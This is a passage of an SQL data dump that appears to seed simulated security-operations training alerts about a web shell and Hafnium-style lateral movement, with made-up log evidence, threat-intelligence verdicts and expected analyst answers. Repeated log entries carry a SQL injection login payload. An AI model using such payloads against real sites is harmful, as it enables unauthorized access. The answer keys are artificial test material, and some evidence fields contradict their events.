2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.520Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"POST\\\",\\\"uri\\\":\\\"/uploads/shell.jsp\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"status_code\\\":200,\\\"response_size\\\":512,\\\"username\\\":\\\"webadmin\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(858, 'Establishing Persistence with Web Shells', 'medium', 'File integrity monitoring', 'A web shell was detected on the server, indicating a potential persistence mechanism established by the attacker to maintain long-term access. The presence of unauthorized files suggests a compromise.', 'Persistence', 'T1505.003', 1, 'new', NULL, '{\"event_time\":\"2023-10-02T14:23:45Z\",\"event_type\":\"file_creation\",\"file_path\":\"/var/www/html/suspicious_shell.php\",\"new_file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"username\":\"webadmin\",\"action\":\"create\",\"internal_ip\":\"192.168.1.15\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"/var/www/html/suspicious_shell.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known web shell used for post-exploitation.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious web shell activity.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple malicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"webadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Common administrative username.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.521Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-02T14:23:45Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"file_path\\\":\\\"/var/www/html/suspicious_shell.php\\\",\\\"new_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"webadmin\\\",\\\"action\\\":\\\"create\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(859, 'Lateral Movement Detected - Hafnium Operation', 'high', 'Network traffic analysis', 'Observed lateral movement activity consistent with Hafnium APT group tactics. A compromised internal host was used to authenticate to multiple devices using stolen credentials. Data exfiltration attempts were detected targeting files typically associated with sensitive defense information.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.0.15\",\"attacker_ip\":\"203.0.113.76\",\"username\":\"jdoe\",\"success\":true,\"action\":\"login\",\"file_accessed\":\"/srv/data/defense_project.zip\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"protocol\":\"SMB\",\"description\":\"User jdoe successfully authenticated from internal IP 192.168.1.105 to host 10.0.0.15 and accessed sensitive file defense_project.zip. Network traffic originates from known malicious IP 203.0.113.76, suggesting possible credential compromise.\"}', '2026-01-15 00:50:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.76\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with Hafnium APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal host involved in suspicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Hash observed in unauthorized access attempts\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account possibly compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);

